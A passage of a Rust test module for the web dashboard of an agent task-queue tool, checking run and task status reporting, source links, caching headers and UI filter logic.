22674        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22675        t.status = status;
22676        t
22677    }
22678
22679    #[test]
22680    fn source_link_picks_the_page_that_filed_the_task() {
22681        let agent = |node: &str| Source::Agent {
22682            run: "20260904-014455-ab12".to_owned(),
22683            node: node.to_owned(),
22684        };
22685        let chat = source_link(&agent("chat")).expect("chat link");
22686        assert_eq!(chat.kind, "chat");
22687        assert_eq!(chat.id, "20260904-014455-ab12");
22688        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22689        let run = source_link(&agent("implement")).expect("run link");
22690        assert_eq!(
22691            (run.kind, run.href.as_str()),
22692            ("run", "#/runs/20260904-014455-ab12")
22693        );
22694        assert_eq!(source_link(&Source::Human), None);
22695        assert_eq!(
22696            source_link(&Source::Issue {
22697                number: 3,
22698                repo: "o/r".to_owned()
22699            }),
22700            None
22701        );
22702        let odd = source_link(&Source::Agent {
22703            run: "a b/c".to_owned(),
22704            node: "chat".to_owned(),
22705        })
22706        .expect("link");
22707        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22708    }
22709
22710    #[test]
22711    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22712        assert!(
22713            !APP_JS.contains("src.node === \"chat\""),
22714            "inline href rule is back"
22715        );
22716        assert!(
22717            APP_JS.matches("sourceLinkOf(").count() >= 4,
22718            "helper must serve every page"
22719        );
22720        assert!(
22721            APP_JS.matches("openChatLink(").count() >= 3,
22722            "the run page still needs its explicit chat link"
22723        );
22724        assert!(
22725            !APP_JS.contains("const openChat = el("),
22726            "the Queue card duplicates its source label link again"
22727        );
22728        assert!(
22729            APP_JS.contains("metaKids.push(link ? el(\"a\""),
22730            "the task page must link a chat source label too"
22731        );
22732    }
22733
22734    #[test]
22735    fn task_ref_carries_the_source_link_for_a_chat_task() {
22736        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22737        t.source = Source::Agent {
22738            run: "20260904-014455-ab12".to_owned(),
22739            node: "chat".to_owned(),
22740        };
22741        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22742        let v = serde_json::to_value(&out).expect("json");
22743        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22744        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22745        assert_eq!(v["source_label"], t.source.label());
22746
22747        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22748        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22749            .expect("json");
22750        assert!(v["source_link"].is_null(), "{v}");
22751    }
22752
22753    #[test]
22754    fn task_view_serializes_source_link() {
22755        let mut t = Task::new(
22756            "t".to_owned(),
22757            "t".to_owned(),
22758            PathBuf::from("/repo"),
22759            Source::Agent {
22760                run: "20260901-000000-aaaa".to_owned(),
22761                node: "implement".to_owned(),
22762            },
22763        );
22764        t.runs.clear();
22765        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22766        assert_eq!(v["source_link"]["kind"], "run", "{v}");
22767        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22768    }
22769
22770    #[test]
22771    fn task_view_serializes_urgent_flag() {
22772        let mut t = Task::new(
22773            "t".to_owned(),
22774            "t".to_owned(),
22775            PathBuf::from("/repo"),
22776            Source::Human,
22777        );
22778        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22779        assert_eq!(v["urgent"], false, "{v}");
22780        t.urgent = true;
22781        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22782        assert_eq!(v["urgent"], true, "{v}");
22783        assert!(APP_JS.contains("task.urgent === true"));
22784    }
22785
22786    #[tokio::test]
22787    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22788        let fx = Fixture::start().await;
22789        let runs = fx.runs();
22790        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22791        write_run(&runs, old, RunStatus::Blocked);
22792        write_run(&runs, new, RunStatus::Merged);
22793        let mut t = outcome_task(&[old, new], TaskStatus::Done);
22794        fx.queue().put(&mut t).expect("put");
22795
22796        let view = fx.get(&format!("/api/runs/{old}")).await.json();
22797        let task = &view["task"];
22798        assert_eq!(task["status"], "done");
22799        assert_eq!(task["is_latest"], false);
22800        assert_eq!(task["latest"]["short"], "bbbb");
22801        assert_eq!(task["finished_by"]["id"], new);
22802        assert_eq!(task["finished_by"]["outcome"], "merged");
22803        assert_eq!(task["closed_by_hand"], false);
22804        assert_eq!(view["status"], "blocked", "the run keeps its own status");
22805        assert!(APP_JS.contains("finished_by"));
22806        assert!(APP_JS.contains("superseded by run"));
22807    }
22808
22809    #[tokio::test]
22810    async fn the_latest_run_reports_a_held_task_without_a_successor() {
22811        let fx = Fixture::start().await;
22812        let runs = fx.runs();
22813        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22814        write_run(&runs, old, RunStatus::Stalled);
22815        write_run(&runs, new, RunStatus::Blocked);
22816        let mut t = outcome_task(&[old, new], TaskStatus::Held);
22817        fx.queue().put(&mut t).expect("put");
22818
22819        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22820        assert_eq!(task["status"], "held");
22821        assert_eq!(task["is_latest"], true);
22822        assert!(task["latest"].is_null());
22823        assert!(task["finished_by"].is_null());
22824        assert_eq!(task["closed_by_hand"], false);
22825    }
22826
22827    #[tokio::test]
22828    async fn a_direct_run_has_no_task_outcome() {
22829        let fx = Fixture::start().await;
22830        let runs = fx.runs();
22831        let id = "20260901-000000-aaaa";
22832        write_run(&runs, id, RunStatus::Blocked);
22833        let view = fx.get(&format!("/api/runs/{id}")).await.json();
22834        assert!(view["task"].is_null());
22835    }
22836
22837    #[test]
22838    fn task_outcome_does_not_guess_a_finishing_run() {
22839        let a = "20260901-000000-aaaa";
22840        let b = "20260901-000000-bbbb";
22841        let c = "20260901-000000-cccc";
22842        let dir = tempfile::tempdir().expect("tempdir");
22843        write_run(dir.path(), a, RunStatus::Blocked);
22844        write_run(dir.path(), b, RunStatus::VerifiedNoop);
22845        // `c` has no record: unreadable.
22846        let read = |id: &str| read_run(dir.path(), id).ok();
22847        // Neither a blocked run nor a no-op finished the task; the newest run is
22848        // unreadable and still named.
22849        let t = outcome_task(&[a, b, c], TaskStatus::Done);
22850        let out = task_outcome(&t, a, 3, read);
22851        assert!(out.finished_by.is_none());
22852        assert!(out.closed_by_hand);
22853        let latest = out.latest.expect("latest");
22854        assert_eq!(latest.id, c);
22855        assert_eq!(latest.status, None);
22856        assert_eq!(latest.outcome, "record unreadable");
22857
22858        // A Ready run settles the task as done, so it is named as the finisher.
22859        write_run(dir.path(), c, RunStatus::Ready);
22860        let t = outcome_task(&[a, c], TaskStatus::Done);
22861        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22862        assert_eq!(out.finished_by.expect("finisher").id, c);
22863        assert!(!out.closed_by_hand);
22864
22865        // A resumed run id repeats: it is still the latest by id.
22866        let t = outcome_task(&[a, b, a], TaskStatus::Held);
22867        assert!(task_outcome(&t, a, 3, read).is_latest);
22868    }
22869
22870    #[tokio::test]
22871    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22872        // The list route has known this since the card fix above; the detail
22873        // route — what an operator actually opens from a notification about
22874        // a blocked run — did not, and went on showing a bare red BLOCKED
22875        // chip for a run a retry had already finished.
22876        let fx = Fixture::start().await;
22877        let q = fx.queue();
22878        let runs = fx.runs();
22879        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22880        write_run(&runs, first, RunStatus::Blocked);
22881        write_run(&runs, second, RunStatus::Merged);
22882
22883        let mut t = Task::new(
22884            "one task".to_owned(),
22885            "do it".to_owned(),
22886            PathBuf::from("/repo"),
22887            Source::Human,
22888        );
22889        t.runs = vec![first.to_owned(), second.to_owned()];
22890        q.put(&mut t).expect("put");
22891
22892        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22893        assert_eq!(earlier["superseded_by"], "dddd");
22894        assert_eq!(earlier["latest_attempt"]["id"], second);
22895        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22896        assert_eq!(
22897            earlier["latest_attempt"]["resolved"], true,
22898            "the run that replaced it landed, so this one reads as settled"
22899        );
22900
22901        let later = fx.get(&format!("/api/runs/{second}")).await.json();
22902        assert!(
22903            later["superseded_by"].is_null(),
22904            "the latest attempt is not superseded by anything"
22905        );
22906        assert!(
22907            later["latest_attempt"].is_null(),
22908            "the latest attempt has no later attempt of its own"
22909        );
22910
22911        // Front end: the detail page has to read the field this route now
22912        // carries, downgrade the chip, and link to the run that replaced it —
22913        // not just repeat the list card's own logic under a different name.
22914        // The link is built off `latest_attempt.id`, the server-resolved
22915        // full id, never a bare short string a client would have to guess a
22916        // full run from.
22917        assert!(APP_JS.contains("run.latest_attempt"));
22918        assert!(APP_JS.contains("data-superseded"));
22919        assert!(APP_JS.contains("#/runs/${latest.id}"));
22920    }
22921
22922    #[tokio::test]
22923    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22924        // A -> B -> C, all Blocked except the last. A's immediate successor
22925        // (superseded_by) is B, which is itself unresolved; what an operator
22926        // opening A's page actually needs is where the task's story stands
22927        // *now* - C, not B - without depending on whether C happens to be in
22928        // whatever page of /api/runs the client last cached.
22929        let fx = Fixture::start().await;
22930        let q = fx.queue();
22931        let runs = fx.runs();
22932        let (a, b, c) = (
22933            "20260901-000000-aaaa",
22934            "20260901-000000-bbbb",
22935            "20260901-000000-cccc",
22936        );
22937        write_run(&runs, a, RunStatus::Blocked);
22938        write_run(&runs, b, RunStatus::Blocked);
22939        write_run(&runs, c, RunStatus::Merged);
22940
22941        let mut t = Task::new(
22942            "retried twice".to_owned(),
22943            "do it".to_owned(),
22944            PathBuf::from("/repo"),
22945            Source::Human,
22946        );
22947        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22948        q.put(&mut t).expect("put");
22949
22950        let view = fx.get(&format!("/api/runs/{a}")).await.json();
22951        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22952        assert_eq!(
22953            view["latest_attempt"]["id"], c,
22954            "the chain's current head, not the intermediate Blocked retry"
22955        );
22956        assert_eq!(view["latest_attempt"]["resolved"], true);
22957
22958        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22959        assert_eq!(mid["latest_attempt"]["id"], c);
22960        assert_eq!(mid["latest_attempt"]["resolved"], true);
22961    }
22962
22963    #[tokio::test]
22964    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22965        let fx = Fixture::start().await;
22966        let q = fx.queue();
22967        let runs = fx.runs();
22968
22969        // Still Blocked: the task is not resolved, so the older run must not
22970        // read as settled either.
22971        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22972        write_run(&runs, still_blocked_a, RunStatus::Blocked);
22973        write_run(&runs, still_blocked_b, RunStatus::Blocked);
22974        let mut t1 = Task::new(
22975            "still stuck".to_owned(),
22976            "do it".to_owned(),
22977            PathBuf::from("/repo"),
22978            Source::Human,
22979        );
22980        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22981        q.put(&mut t1).expect("put");
22982        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22983        assert_eq!(view1["latest_attempt"]["resolved"], false);
22984        assert_eq!(view1["latest_attempt"]["status"], "blocked");
22985        assert_eq!(view1["latest_attempt"]["done"], true);
22986
22987        // Still running: the successor exists and must be reported as such.
22988        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22989        write_run(&runs, run_a, RunStatus::Blocked);
22990        write_run(&runs, run_b, RunStatus::Implementing);
22991        let mut t3 = Task::new(
22992            "retrying".to_owned(),
22993            "do it".to_owned(),
22994            PathBuf::from("/repo"),
22995            Source::Human,
22996        );
22997        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22998        q.put(&mut t3).expect("put");
22999        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23000        assert_eq!(view3["latest_attempt"]["id"], run_b);
23001        assert_eq!(view3["latest_attempt"]["resolved"], false);
23002        assert_eq!(view3["latest_attempt"]["done"], false);
23003
23004        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23005        // to check - not a confirmed finish, so this must not read as
23006        // resolved either, even though the run is done in the sense that
23007        // nothing is still running.
23008        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23009        write_run(&runs, noop_a, RunStatus::Blocked);
23010        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23011        let mut t2 = Task::new(
23012            "claims done".to_owned(),
23013            "do it".to_owned(),
23014            PathBuf::from("/repo"),
23015            Source::Human,
23016        );
23017        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23018        q.put(&mut t2).expect("put");
23019        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23020        assert_eq!(
23021            view2["latest_attempt"]["resolved"], false,
23022            "an unverified no-op claim must not read as a confirmed finish"
23023        );
23024
23025        // Front end: an unresolved successor must not carry the "finished
23026        // this work" note or the muted chip treatment.
23027        assert!(APP_JS.contains("latest.resolved"));
23028        // ...but the link to it shows as soon as it exists, labelled by state
23029        // and without the "finished" wording or the muted chip.
23030        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23031        assert!(APP_JS.contains("Latest attempt: "));
23032        assert!(APP_JS.contains("in flight"));
23033        assert!(APP_JS.contains("not resolved"));
23034    }
23035
23036    #[tokio::test]
23037    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23038        let fx = Fixture::start().await;
23039        // No cache header at all meant browsers invented their own policy,
23040        // and one did: a phone went on showing "Candidates must be folded
23041        // before deleting. Run `magi fold` first." - deleted two releases
23042        // earlier - from a deck that no longer contained the sentence. The
23043        // button it named was right there, and unreachable.
23044        let js = fx.get("/app.js").await;
23045        assert_eq!(js.status, 200);
23046        let tag = js
23047            .header("etag")
23048            .expect("an etag to revalidate against")
23049            .to_owned();
23050        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23051        assert_eq!(
23052            js.header("cache-control"),
23053            Some("no-cache, must-revalidate"),
23054            "the phone has to ask every time"
23055        );
23056
23057        // And the asking has to be cheap, or `must-revalidate` just means
23058        // "send the whole interface on every load".
23059        let again = fx
23060            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23061            .await;
23062        assert_eq!(
23063            again.status, 304,
23064            "a deck it already has costs one round trip"
23065        );
23066        assert!(again.body.is_empty(), "304 carries no body");
23067
23068        // A weakened tag from a proxy still matches; a different build does
23069        // not, which is the case that has to deliver the new interface.
23070        let weak = fx
23071            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23072            .await;
23073        assert_eq!(weak.status, 304);
23074        let stale = fx
23075            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23076            .await;
23077        assert_eq!(stale.status, 200, "an older build must be replaced");
23078        assert!(stale.body.contains("renderRunActions"));
23079    }
23080
23081    #[test]
23082    fn the_task_detail_has_an_actions_fab_and_sheet() {
23083        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23084        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23085        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23086        // Shown only on the task route, closed everywhere else.
23087        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23088        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23089        // Refreshed whenever the detail redraws, including the loading state.
23090        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23091        assert!(APP_JS.contains("renderTaskActions(null);"));
23092        // Same renderers and routes as the Queue card, no new endpoint.
23093        let sheet = APP_JS
23094            .find("function renderTaskActions")
23095            .expect("sheet renderer");
23096        let body = &APP_JS[sheet..sheet + 3000];
23097        assert!(body.contains("changePriority("));
23098        assert!(body.contains("openTaskEdit(task)"));
23099        assert!(body.contains("renderTaskHoldBox(host"));
23100        assert!(body.contains("renderTaskDoneBox(host"));
23101        assert!(body.contains("renderTaskDeleteBox(host"));
23102        assert!(APP_JS.contains("API.priority(id)"));
23103        assert!(APP_JS.contains("API.deleteTask(id)"));
23104        // A deleted task sends the operator back to the queue.
23105        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23106        // A refusal is shown inside the sheet.
23107        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23108    }
23109
23110    #[test]
23111    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23112        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23113        let actions = INDEX_HTML
23114            .find("id=\"run-actions-box\"")
23115            .expect("actions box");
23116        assert!(task < actions, "the task entry comes first in the sheet");
23117        assert!(APP_JS.contains("renderRunTaskEntry"));
23118        assert!(APP_JS.contains("\"Open task \""));
23119        // A run without a task says why there is nothing to open.
23120        assert!(APP_JS.contains("started directly, no task"));
23121        assert!(APP_JS.contains("sheet-task-link"));
23122        assert!(APP_JS.contains("task-chip-link"));
23123    }
23124
23125    #[test]
23126    fn the_deck_never_sends_the_operator_to_a_terminal() {
23127        // The whole point of the phone UI is that a terminal is not needed.
23128        // The delete control used to answer with "Run `magi fold` first."
23129        assert!(
23130            !APP_JS.contains("Run `magi fold` first"),
23131            "the deck must offer the fold, not prescribe a shell command"
23132        );
23133        assert!(APP_JS.contains("foldRun:"));
23134        assert!(APP_JS.contains("resumeRun:"));
23135        assert!(APP_JS.contains("renderRunActions"));
23136
23137        // Folding is destructive and armed in two steps, like deleting.
23138        assert!(APP_JS.contains("armedFold"));
23139        assert!(APP_JS.contains("Yes, fold worktrees"));
23140
23141        // And the copy has to say that the two actions are opposites, because
23142        // folding throws away exactly what a resume would continue from.
23143        assert!(APP_JS.contains("can no longer be resumed"));
23144    }
23145
23146    #[test]
23147    fn a_finished_run_explains_itself_with_its_own_last_line() {
23148        // The deck used to answer "why did this stop?" with a sentence chosen
23149        // by status alone. Run e633 stalled because two judges answered with
23150        // the wrong JSON shape and its card said "The panel collapsed on
23151        // agent quota" - with `quota: []` in the record and a quota-loss
23152        // counter right above it that correctly said nothing.
23153        assert!(
23154            !APP_JS.contains("collapsed on agent quota"),
23155            "a stall must not be explained by a cause the deck did not check"
23156        );
23157        assert!(
23158            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23159            "and a block must not offer a guess with an `or` in it"
23160        );
23161
23162        // The reason it does have is `run.event`, which must reach finished
23163        // runs: gating it on movement hid the recorded truth at the one moment
23164        // the operator is reading the card to find out what happened.
23165        assert!(
23166            APP_JS.contains("setText(r.event, run.event || \"\")"),
23167            "the run's last line is rendered unconditionally"
23168        );
23169        assert!(
23170            !APP_JS.contains("moving && run.event"),
23171            "and never gated on the run still moving"
23172        );
23173
23174        // Quota keeps its own counter, fed by the number actually recorded.
23175        assert!(APP_JS.contains("lost to quota"));
23176    }
23177
23178    /// The runs tree (section) and the state chips (waiting/done) are two
23179    /// independent lenses ANDed together in `renderRuns`, and some pairings
23180    /// can never both be true for any run - every "Landed"/"Ended" run is
23181    /// done by construction, so pairing either with "Active" or "In flight"
23182    /// always rendered zero cards with the filter bar still claiming
23183    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23184    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23185    /// a handful of (waiting, status) shapes standing in for the run
23186    /// lifecycle, because `cargo test` cannot execute the front end.
23187    ///
23188    /// That stand-in list is itself the part that drifted twice in review:
23189    /// once shipped with `waiting: true` paired with a done status the
23190    /// lifecycle cannot produce, then over-corrected into treating every
23191    /// waiting run as never done - which made "Waiting on you" look
23192    /// incompatible with "Done" even for the one real, reachable shape
23193    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23194    /// that combination. This test parses the shapes and the done-rule back
23195    /// out of `APP_JS`, reimplements `runSection` and the five state
23196    /// predicates independently in Rust, and checks the resulting
23197    /// section/filter compatibility table against the lifecycle rules by
23198    /// hand - so either direction of drift fails it again.
23199    #[test]
23200    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23201        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23202        let shapes_body_start =
23203            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23204        let shapes_close = APP_JS[shapes_body_start..]
23205            .find("].map(")
23206            .expect("the shape list is closed by its done-computing .map(...)")
23207            + shapes_body_start;
23208        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23209
23210        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23211        for entry in shapes_src.split('{').skip(1) {
23212            let waiting = entry.contains("waiting: true");
23213            let dead = entry.contains("live: \"dead\"");
23214            let status_at =
23215                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23216            let status_end = entry[status_at..]
23217                .find('"')
23218                .expect("the status string is closed")
23219                + status_at;
23220            let parked = entry.contains("display_status: \"parked\"");
23221            shapes.push((
23222                waiting,
23223                entry[status_at..status_end].to_string(),
23224                dead,
23225                parked,
23226            ));
23227        }
23228        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23229
23230        // The done rule itself (`!["implementing"].includes(shape.status)`),
23231        // read out of the source rather than hardcoded, so a renamed
23232        // in-flight status can't silently make every parsed shape "done".
23233        let done_rule_marker = "done: !";
23234        let done_rule_at = APP_JS[shapes_close..]
23235            .find(done_rule_marker)
23236            .expect("the done rule follows the shape list")
23237            + shapes_close
23238            + done_rule_marker.len();
23239        let includes_at = APP_JS[done_rule_at..]
23240            .find(".includes(shape.status)")
23241            .expect("the done rule ends in .includes(shape.status)")
23242            + done_rule_at;
23243        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23244            .trim()
23245            .trim_start_matches('[')
23246            .trim_end_matches(']')
23247            .split(',')
23248            .map(|s| s.trim().trim_matches('"'))
23249            .filter(|s| !s.is_empty())
23250            .collect();
23251
23252        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23253            .into_iter()
23254            .map(|(waiting, status, dead, parked)| {
23255                let done = !not_done.contains(&status.as_str());
23256                (waiting, status, dead, parked, done)
23257            })
23258            .collect();
23259
23260        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23261        // outright, then merged/ready land, stalled/blocked/failed/
23262        // verified_noop end, and everything else is still in flight.
23263        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23264            if waiting {
23265                return "waiting";
23266            }
23267            if dead
23268                && !parked
23269                && !matches!(
23270                    status,
23271                    "merged"
23272                        | "ready"
23273                        | "stalled"
23274                        | "blocked"
23275                        | "failed"
23276                        | "verified_noop"
23277                        | "superseded"
23278                        | "already_in_base"
23279                )
23280            {
23281                return "stale";
23282            }
23283            match status {
23284                "merged" | "ready" => "landed",
23285                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23286                | "already_in_base" => "ended",
23287                _ => "flight",
23288            }
23289        }
23290
23291        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23292        // way.
23293        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23294            match filter_key {
23295                "active" => !done,
23296                "flight" => !done && !waiting && !dead,
23297                "stale" => !done && !waiting && dead,
23298                "waiting" => waiting,
23299                "done" => done,
23300                "all" => true,
23301                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23302            }
23303        }
23304
23305        let compatible = |section: &str, filter_key: &str| {
23306            shapes.iter().any(|(waiting, status, dead, parked, done)| {
23307                run_section(*waiting, status, *dead, *parked) == section
23308                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23309            })
23310        };
23311
23312        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
23313        // (active, flight, stale, waiting, done, all) - hand-derived from the
23314        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
23315        // currently contains.
23316        let expected = [
23317            ("waiting", [true, false, false, true, true, true]),
23318            ("stale", [true, false, true, false, false, true]),
23319            ("flight", [true, true, false, false, false, true]),
23320            ("landed", [false, false, false, false, true, true]),
23321            ("ended", [false, false, false, false, true, true]),
23322        ];
23323        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23324
23325        for (section, wants) in expected {
23326            for (filter_key, want) in filter_keys.iter().zip(wants) {
23327                assert_eq!(
23328                    compatible(section, filter_key),
23329                    want,
23330                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23331                );
23332            }
23333        }
23334
23335        // The compatibility check exists only to be acted on: both pickers
23336        // must actually consult it rather than just render its answer.
23337        assert!(
23338            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23339        );
23340        assert!(APP_JS.contains(
23341            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23342        ));
23343        assert!(APP_JS.contains(
23344            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23345        ));
23346    }
23347
23348    #[tokio::test]
23349    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23350        // An operator-named directory - git checkout or not - is never
23351        // second-guessed, even when it does not exist at all: only the
23352        // flag's own unmodified `.` default is ever eligible for discovery.
23353        let dir = tempfile::tempdir().expect("tempdir");
23354        let explicit = dir.path().join("not-a-checkout");
23355        std::fs::create_dir_all(&explicit).expect("create dir");
23356        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23357
23358        let missing = dir.path().join("does-not-exist-at-all");
23359        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23360    }
23361
23362    #[test]
23363    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23364        assert!(APP_JS.contains("function statsDonutArcs"));
23365        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23366        // A bucket click filters by the statuses src/stats.rs counts in it.
23367        assert!(APP_JS.contains("function statusInBucket"));
23368        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23369        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23370        let buckets = [
23371            "merged",
23372            "ready",
23373            "in_progress",
23374            "blocked",
23375            "failed",
23376            "verified_noop",
23377            "superseded",
23378            "stalled",
23379        ];
23380        for key in buckets {
23381            let var = format!("--verdict-{key}:");
23382            // Light, OS-dark and pinned-dark blocks each define it.
23383            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23384            assert!(
23385                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23386                "{key}"
23387            );
23388        }
23389    }
23390
23391    #[tokio::test]
23392    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23393        let dir = tempfile::tempdir().expect("tempdir");
23394        let queue = Queue::at(dir.path().join("queue"));
23395        let talks = Talks::at(dir.path().join("talks"));
23396        std::fs::create_dir_all(queue.root()).unwrap();
23397        std::fs::create_dir_all(talks.root()).unwrap();
23398
23399        // Put a corrupt json file in both stores
23400        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23401        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23402
23403        // Valid task and talk
23404        let mut task = Task::new(
23405            "title".into(),
23406            "inst".into(),
23407            PathBuf::from("/repo"),
23408            Source::Human,
23409        );
23410        task.id = "20261019-123456-abcd".into();
23411        // Write manually so it's a valid file
23412        std::fs::write(
23413            queue.path_of(&task.id),
23414            serde_json::to_string(&task).unwrap(),
23415        )
23416        .unwrap();
23417
23418        let talk_id = "20261019-234567-cdef";
23419        seed_talk_at(&talks, talk_id, "open");
23420
23421        // Exact match should succeed without failing on the corrupt json file
23422        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23423        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23424
23425        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23426        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23427        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23428    }
23429
23430    #[tokio::test]
23431    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23432        let home = tempfile::tempdir().unwrap();
23433        let ui = delta_test_ui(home.path());
23434        // A full history traversal would fail even with no questions.
23435        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23436        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23437        assert!(
23438            questions_list(State(ui.clone()))
23439                .await
23440                .unwrap()
23441                .0
23442                .is_empty()
23443        );
23444        assert!(
23445            question_origins(State(ui.clone()))
23446                .await
23447                .unwrap()
23448                .0
23449                .is_empty()
23450        );
23451        let mut question = Question::new(
23452            "run-history".into(),
23453            "review".into(),
23454            "seat".into(),
23455            "Useful question".into(),
23456            "Useful detail".into(),
23457            vec![],
23458        );
23459        ui.questions.put(&mut question).unwrap();
23460        let core = questions_core(State(ui.clone())).await.unwrap().0;
23461        assert_eq!(core.len(), 1);
23462        assert_eq!(core[0].question.summary, "Useful question");
23463        assert!(!core[0].can_consult_chat);
23464        assert!(core[0].origin_chat.is_none());
23465        assert_eq!(core[0].record_revision, question_record_revision(&question));
23466        assert!(question_origins(State(ui.clone())).await.is_err());
23467        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23468    }
23469
23470    #[test]
23471    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23472        let home = tempfile::tempdir().unwrap();
23473        let ui = delta_test_ui(home.path());
23474        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23475        for i in 0..1000 {
23476            let mut task = Task::new(
23477                "unrelated".into(),
23478                "instruction ".repeat(256),
23479                PathBuf::from("/repo"),
23480                Source::Human,
23481            );
23482            task.id = format!("history-{i:04}");
23483            ui.queue.put(&mut task).unwrap();
